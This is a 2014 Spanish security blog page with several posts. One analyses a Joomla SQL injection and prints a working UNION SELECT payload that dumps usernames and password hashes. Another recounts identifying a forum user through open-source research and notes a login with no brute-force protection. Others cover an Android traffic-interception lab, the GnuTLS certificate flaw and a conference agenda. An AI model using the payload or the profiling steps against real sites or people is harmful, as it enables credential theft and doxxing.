13 marzo 2014

Análisis de inyección SQL crítica en Joomla < 3.2.2

En febrero saltó a la palestra una grave vulnerabilidad de inyección SQL que afectaba al gestor de contenidos Joomla!, reportada por killall-9. En esta ocasión, y a diferencia de lo que suele siempre ocurrir, la vulnerabilidad residía en el núcleo de la aplicación y no en módulos o plugins. Por lo que cualquier instalación de Joomla anterior a 3.2.2 es vulnerable por defecto.

Pues bien, ya tenemos más información acerca de la explotación y la causa de la vulnerabilidad, que por tratarse de una inyección SQL, ya se asumía que se trataba de un problema de validación de parámetros.

Preparamos nuestro entorno para disponer de un conjunto LAMP (Linux, Apache, MySQL, PHP) en el que instalaremos la versión 3.2.1 de Joomla afectada por esta vulnerabilidad. Realizamos una instalación por defecto llamando al portal "Joomla Test", cargándola con datos de prueba.

Página de inicio de la instalación de Joomla 3.2.1

Tal y como se ha reportado en diversas fuentes, la vulnerabilidad reside en el parámetro id de la siguiente URL sobre weblinks-categories:

http://URL/joomla/index.php/weblinks-categories?id=

En primer lugar, procedemos a introducir, en vez de un valor esperado (un entero a modo de índice), un carácter X, para provocar la excepción en la aplicación:

http://URL/joomla/index.php/weblinks-categories?id=X

Excepción en consulta del identificador dentro de weblinks-categories

El error muestra la siguiente información en la parte inferior:
0 SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( X)      
En dicho error, nos quedamos con el prefijo establecido durante la instalación de Joomla para la nomenclatura de las tablas en base de datos, tras la sintaxis de INNER JOIN. En este caso, el prefijo corresponde con ls41c para la tabla contentitem_tag_map
...INNER JOIN `ls41c_contentitem_tag_map` ...
Este prefijo lo utilizaremos durante la explotación de la vulnerabilidad para conocer exactamente como se denomina a la tabla de usuarios dentro de la base de datos del sistema afectado. Por lo que, para consultar información de la tabla de usuarios de Joomla, tendremos que realizar sentencias sobre la tabla ls41c_users. La explotación es simple: incluiremos el UNION SELECT tras el identificador vulnerable, seleccionando el valor de username y posteriormente del password obteniendo su hash (más información sobre esta tabla en la documentación en Joomla), concatenando el carácter '#' entre ellos para su mejor distinción por pantalla:

http://192.168.70.134/joomla/index.php/weblinks-categories
?id=0) union select concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from `ls41c_users`-- )

Mostrando información de la tabla de usuarios de Joomla de base de datos tras inyección SQL
La función que construye la sentencia utilizada se encuentra en el fichero helper.php en la siguiente ruta:

/joomla/modules/mod_tags_similar/helper.php

Cuya función getList de la clase ModTagssimilarHelper no valida correctamente el valor del identificador id, llevándose directamente a la construcción de la sentencia SQL:

Obtención del valor del parámetro id
El valor del parámetro se establece en $tagsToMatch
$tagsToMatch se introduce directamente en la query de base de datos que posteriormente se ejecutará

Se recomienda actualizar Joomla a su última versión disponible, que actualmente corresponde con la 3.2.3.

Y ya deberías saber que, para evitar que tras el robo de esta información sensible (como usuarios y contraseñas) pueda ser posteriormente utilizada, puedes proteger tu instalación de Joomla mediante Latch de ElevenPaths, añadiendo el plugin rápidamente siguiendo esta guía detallada para su integración con este CMS. Gracias a esta funcionalidad, además los usuarios podrán ser notificados en caso de que dichas cuentas obtenidas sean utilizadas por terceros.

[+] OSVDB 103126 : Joomla /modules/mod_tags_similar/helper.php ModTagssimilarHelper::getList() Method Parameter SQL Injection

Leer más...

12 marzo 2014

Cuidado con lo que compartes en los foros


Los foros son una herramienta muy poderosa usada por la mayoría de los usuarios de Internet, que básicamente ya se encuentra integrada en la vida digital de todos nosotros para resolver dudas o comentar un tema específico. Sin embargo, hay que tener cuidado con qué información se publica ya que no hay que olvidar que generalmente los foros son públicos, y cuando no lo son, no se tarda más que unos minutos en crearse una cuenta y acceder al contenido.

Visitando un foro de móviles me topé con un hilo en el que la gente estaba posteando imágenes de sus homescreens. Por curiosidad me puse a ver como tenían personalizado sus móviles por si veía un widget o algo que me llamara la atención, y me encuentro con que la gente directamente no valora su privacidad, posteando imágenes con sus tareas y calendarios. Tras unas cuántas imágenes comencé a toparme con imágenes con información jugosa para un ataque de ingeniería social. Por ejemplo:


Un fan del Athletic que tiene un Land Rover y que además tenía que pagar el seguro. Además, conozco los nombres y cumpleaños de tres de sus contactos. Mirando su perfil en el foro, veo que es de Galdakao y que su compañía es Movistar. Sin embargo, no pude conseguir ninguna PII (Personal Identifiable Information), y buscando por sus contactos no pude encontrar ninguna relación. Bueno, no hubo suerte esta vez.

Unas páginas después encontré la siguiente screenshot de un usuario cuyo nick era su nombre+apellido (mal). 


De la imagen obtengo que le gusta el baloncesto, que parece ser miembro de una institución y finalmente, la contraseña del wifi de alguien que conoce por "X". Mirando su perfil veo que es de Logroño, usa Jazztel, tiene un Nexus 5 y una imagen de perfil que fue clave para los siguientes pasos: 


Conociendo su nombre, primer apellido y de donde es, ya podía empezar a realizar algunas búsquedas a ver si podía identificarlo. Entre los primeros resultados se encontraban dos perfiles de LinkedIn, algunas fotos públicas y un perfil de Twitter. Comprobando los perfiles de LinkedIn, veo que uno corresponde a un hombre mayor que no tenía pinta de cumplir con la información adquirida hasta ahora. El segundo, un chicho joven que si que podría ser el mismo usuario del foro. Pero la clave fue al mirar el perfil de Twitter y encontrarme la misma imagen que la anterior.

¿Alguien con el mismo nombre, ciudad y foto? Esto empezaba a cuadrar más. Leyendo su feed, un par de tweets más abajo, una foto de él con su novia. ¿Adivináis quién es ella? X!. Ya me sé la clave del wifi de su novia! Viendo ya más fotos pude comprobar que se trataba de la misma persona del perfil de LinkedIn, perfil que tenía todo público: información sobre sus trabajos y estudios, proyectos, idiomas... y lo peor de todo, una foto tipo carnet. Con toda esta información alguien con malas intenciones podría crear un perfil falso, incluido tarjetas de identificación. De otro de los resultados de la búsqueda confirmé que le gustaba el baloncesto, de hecho juega o jugaba de alero, además de ver su altura, edad y trayectoria como deportista, entre otras cosas.

La nota que se encuentra completamente tachada consistía en el nombre de una institución y un número, número que con casi total seguridad representa a dicho usuario en la institución. En la página de la institución veo un login en el que lo primero que hice fue probar carácteres aleatorios a ver que devolvía:


Parece ser que algo no le gustó. Tras algunas pruebas, veo que solo acepta números. Mirando el código fuente del login form, la longitud máxima para el usuario son 12 carácteres (justo los de la nota) y para la contraseña 8.


Después de varios intentos, no veo indicios de que se impidan intentos de logins consecutivos, ni si quiera un captcha, por lo que se podría llevar a cabo un ataque de fuerza bruta o diccionario. Yo me apostaría que el usuario es el número que tenía en la nota, y la contraseña... ¿quién sabe 8 números? Tal vez una fecha (ddmmyyyy).

Si este chico fuera mi objetivo por cualquier motivo, podría seguir intentando recopilar información, expandiendo el radio de búsqueda a su novia y conocidos, o probando a romper el login de la institución. Sin embargo, no me interesa para nada. El motivo de este post es para concienciar un poco sobre que información compartir en lugares públicos.


Ayoze Fernández
Leer más...

10 marzo 2014

Creando un entorno de análisis de aplicaciones Android

A estas alturas todos sabemos que la plataforma Android es un auténtico caldo de cultivo para el malware por diversos motivos:
  • Escasos controles en el momento de la publicación de aplicaciones en Google Play
  • Ventanas de tiempo entre publicación de malware y su eliminación que permiten obtener un beneficio de estas actividades ilícitas
  • Facilidad de distribución de aplicaciones a través de métodos alternativos a los canales oficiales
  • Necesidad de una mayor granularidad en los permisos
  • Un muy largo etcétera...
Pero de esta situación también podemos sacar algo positivo, donde reina el malware nosotros tenemos campo donde investigar (como nos han enseñado en el blog www.elladodelmal.com a través de los artículos linterna molona y malware en Android), así que vamos a dedicar unas líneas a construir un entorno de análisis para jugar con el malware además de con todo tipo de aplicaciones Android.

Descripción del entorno

Con la idea de tener controlado el comportamiento de la aplicación a analizar vamos a crear un entorno repetible (a través de backups), en un dispositivo sobre el que tengamos pleno control (debe estar rooteado) y enrutando las comunicaciones que genere por una máquina que nos permita su análisis (utilizando iptables, wireshark y burp).

De forma gráfica el escenario que vamos a recrear es el siguiente:


Y para crear este entorno partiremos de los siguiente pre-requisitos:
  1. Tener un dispositivo rooteado donde hacer las pruebas (tenéis más documentación en los foros xda-developers en inglés y htcmania en español), y aunque estoy seguro de que esto sobra decirlo, si lo vais a utilizar para el análisis de malware no utilicéis vuestros dispositivo de uso diario.
  2. Instalación del Android SDK (tenéis más documentación en la Web oficial de Android ).
  3. Red Wifi a la que conectar el dispositivo.
  4. Disponer de una máquina con iptables, Wireshark y Burp instalados. En el ejemplo usaré una distribución Kali.
Empecemos con la configuración del entorno.

Preparando la distribución Kali

Como vamos a enrutar el tráfico del dispositivo a la máquina Kali, lo primero será configurarla:
  • Iniciamos y configuramos Burp
    • En Proxy > Options, editamos el Proxy que está escuchando para que atienda a todas las interfaces:

    • Actúe de forma invisible:

    • Genere un certificado de CA por host:

  • Exportamos el certificado de la CA de Burp codificado en DER, para ello podemos configurar el cliente Web de Kali para que pase por el proxy y acceder a una página Web por HTTPS:

  • Configuramos las reglas de pre-routing con iptables que nos permitirán analizar el tráfico HTTP/HTTPS en Burp:
    • echo 1 > /proc/sys/net/ipv4/ip_forward
    • iptables -F
    • iptables -t nat -F
    • iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
    • iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
  • Iniciamos Wireshark y le ponemos a la escucha en la interfaz de red por la que entre el tráfico del dispositivo

En este momento ya tenemos preparado el entorno de la máquina Kali, continuemos con el dispositivo.

Preparando el dispositivo Android

Antes de realizar el backup, vamos a hacer algunos ajustes previos en el dispositivo Android:
  • Instalamos la aplicación ProxyDroid para enrutar correctamente el tráfico HTTPS a nuestra máquina de análisis de comunicaciones y la configuramos del siguiente modo:



  • Importamos el certificado de la CA que habíamos exportado desde Burp, para ello lo copiamos a la SD (o memoria interna del dispositivo) y accedemos a Ajustes > Seguridad > Almacenamiento de credenciales > Instalar desde la tarjeta SD (o alamcenamiento). Tener en cuenta que estas opciones de menú pueden variar según la versión instalada de Android.
  • Configuramos la Wifi en el dispositivo y establecemos como puerta de enlace la dirección IP de la máquina Kali
Con esto ya tenemos el dispositivo listo para su castigo, así que vamos a realizar un backup que poder restaurar finalizados nuestros análisis. Tenemos las siguientes opciones:
  • Nandroid, os dejo un enlace a un tutorial.
  • Herramienta adb del Android SDK:
    • Para hacer backup:   adb backup -apk -shared -all -system -f C:\estado0.ab
    • Para hacer restore:    adb restore C:\estado0.ab
Ya tenemos preparada la máquina Kali para capturar el tráfico y el entorno sobre el que vamos a realizar las pruebas, de modo que sólo queda activar la aplicación ProxyDroid en el dispositivo:


Y empezaremos a capturar el tráfico del dispositivo en el Wireshark y Burp de la máquina Kali:

Algunas herramientas útiles

Encontraréis de gran utilidad para la realización del análisis las siguientes herramientas:
Tenéis un ejemplo de uso de las 3 primeras herramientas en el artículo de reversing de Pixel Dungeon.

Otros recursos de información

Por último, en los siguientes enlaces podéis encontrar información de mucha utilidad para vuestros análisis:

Artículo cortesía de Miguel Ángel García
Twitter: @nodoraiz
Leer más...

09 marzo 2014

Enlaces de la SECmana - 217


Leer más...

05 marzo 2014




Si hace unos días nos echábamos las manos a la cabeza con el grandísimo “fail" de Apple, que permitía dar por bueno determinado tipo de certificados, ahora me llega un correo por parte de uno de mis alumnos del curso de Análisis Forense, con un enlace en el que se dice que se ha descubierto una vulnerabilidad similar en la implementación de GNUTLS.

Por ende, todas aquellas aplicaciones que requieran la librería GNUTLS para encapsular las comunicaciones de tráfico de forma cifrada, resulta que existe una forma de circunvalar las comprobaciones de certificados, permitiendo en algunos casos, dar por bueno hasta un certificado autofirmado!!! Lo peor es que el fallo podría estar vigente desde 2005. Parece ser que una auditoría rutinaria por parte de RedHat ha puesto de manifiesto esta vulnerabilidad. Sólo se me ocurre una cosa: WTF!

Por una parte, Apple es una compañía con software hecho de forma cerrada, y sin saberlo de forma oficial, se puede intuir que “ayuda” al gobierno americano, NSAs, y compañía en aquello “que necesiten por la Seguridad Nacional”… Es igualmente, inadmisible que un fallo de esas características se les haya escapado a una empresa que se supone que cumple con auditorías de código, sigue metodologías de desarrollo seguro de software y todo eso, por lo que pinta a que ha alguien dejó caer ahí ese segundo Goto Fail; en un sitio tan crítico.

Lo que me hace llevarme las manos a la cabeza es cómo, desde 2005 hasta 2014, nadie haya auditado secciones tan críticas de código en librerías tan relevantes para la privacidad de las comunicaciones, y en este caso para la autenticación. 

Recordemos que este fallo permite suplantar a un destino haciendo que la verificación criptográfica sea successful,.. aunque sea un fake total. 

Podéis ver el parche publicado en Gitorious. Lo también impactante, es que lo ha descubierto RedHat en un proceso de auditoría…. Desde 2005, señores de RedHat, cada cuánto auditan ustedes el código???

Por otra parte, me viene a la cabeza la entrevista que le hicieron a Linus Torvalds, en la que le preguntaban: "¿Le han propuesto alguna vez, desde alguna entidad gubernamental, introducir un backdoor en el kernel de Linux?" A lo que el creador del kernel contestaba: "Nooooo" con la voz mientras asentía con la cabeza.


Por elucubrar, sólo se me ocurre que algunos gobiernos hayan explotado masivamente estos fallos hasta el día de hoy, y hayan encontrado/implementado alguna otra vulnerabilidad que les siga permitiendo el acceso a las comunicaciones cifradas, pudiendo filtrar que éstas existen y todos felices.

Definitivamente, no sabemos en manos de quién están nuestros datos ni la privacidad de los canales por los que fluyen.   


Leer más...

04 marzo 2014

La semana Rooted CON


Ya ha empezado la semana de Rooted CON, celebrando el quinto aniversario del congreso y que congregará a más de mil personas en el Hotel Auditorium de Madrid. Desde ayer lunes, dieron comienzo las formaciones RootedLabs, en las cuales ayer los asistentes ya disfrutaron de las sesiones sobre Inteligencia Digital de la mano de Vicente Diaz y Daniel Creus, así como todo lo que se necesita saber sobre intrusión en redes inalámbricas gracias al gran Raúl Siles. 

Hoy martes le toca el turno a Juan Garrido "Silverhack", Pablo González de Flu-Project y la primera sesión del lab de nuestro compañero Alex sobre ethical hacking con Kali. Mañana miércoles, finalizan los RootedLabs con una nueva sesión de Ethical Hacking con Kali, Chema y Pentesting con FOCA PRO, y el debut del gran Dabo con un repaso a todo lo que concierne a la seguridad y optimización en entornos GLAMP

También mañana miércoles, comenzará el Bootcamp de Corelan (cuyo equipo también celebra su quinto aniversario) sobre exploiting avanzado, primicia para esta edición en la que Peter Van Eeckhoutte dará una clase magistral durante dos días casi ininterrumpidos (según él mismo, con pequeños descansos para comer, pero con una estimación de entre 12 y 15 horas al día).


Y como siempre, los días 6, 7 y 8 (Jueves Viernes y Sábado) se celebrará la quinta edición de Rooted CON, de la que ya disponemos de la agenda con ponentes y ponencias definitiva (salvo cambios de ultimísima hora como el ocurrido ayer en el día 3), quedando de la siguiente manera:


Se cuenta con participación internacional (para los que tengan problemas con el inglés, habrá traducción simultánea) como Jeremy Brown, integrante del MVR de Microsoft, Juan Vázquez de Metasploit junto con Julián Vilas, Raj Shah de Palo Alto (antes de Morta Security) y muchísimos más que podrás encontrar en el listado de ponencias y ponentes.

Este año únicamente habrá un RootedPanel, cuyo título ha sido anunciado como Colaboración público-privada en la ciberdefensa nacional: el papel de la comunidad hacker, el cual será moderado por Luis Fernández y José de la Peña de la Revista SIC, y contará con los siguientes integrantes de lujo:

  • Miguel Ángel Abad: Jefe del Servicio de Ciberseguridad del Centro Nacional para la Protección de Infraestructuras Críticas, CNPIC. Secretaría de Estado de Seguridad. Ministerio del Interior. 
  • Jorge Dávila: Director del Laboratorio de Criptografía de la UPM y Director de I+D de EnCifra. 
  • Javier Candau: Jefe del Área de Ciberseguridad del Centro Criptológico Nacional, CCN. CNI. 
  • Néstor Ganuza: Teniente Coronel. Mando Conjunto de Ciberdefensa. MCCD. Ministerio de Defensa. 
  • Jaime Sánchez: investigador y desarrollador de herramientas TIC.  (@segofensiva)
  • Román Ramírez: cofundador de RootedCON. (@patowc)
Security By Default estará por allí, por lo que ¡Nos vemos en Rooted CON!
Leer más...

02 marzo 2014

Enlaces de la SECmana - 216


Leer más...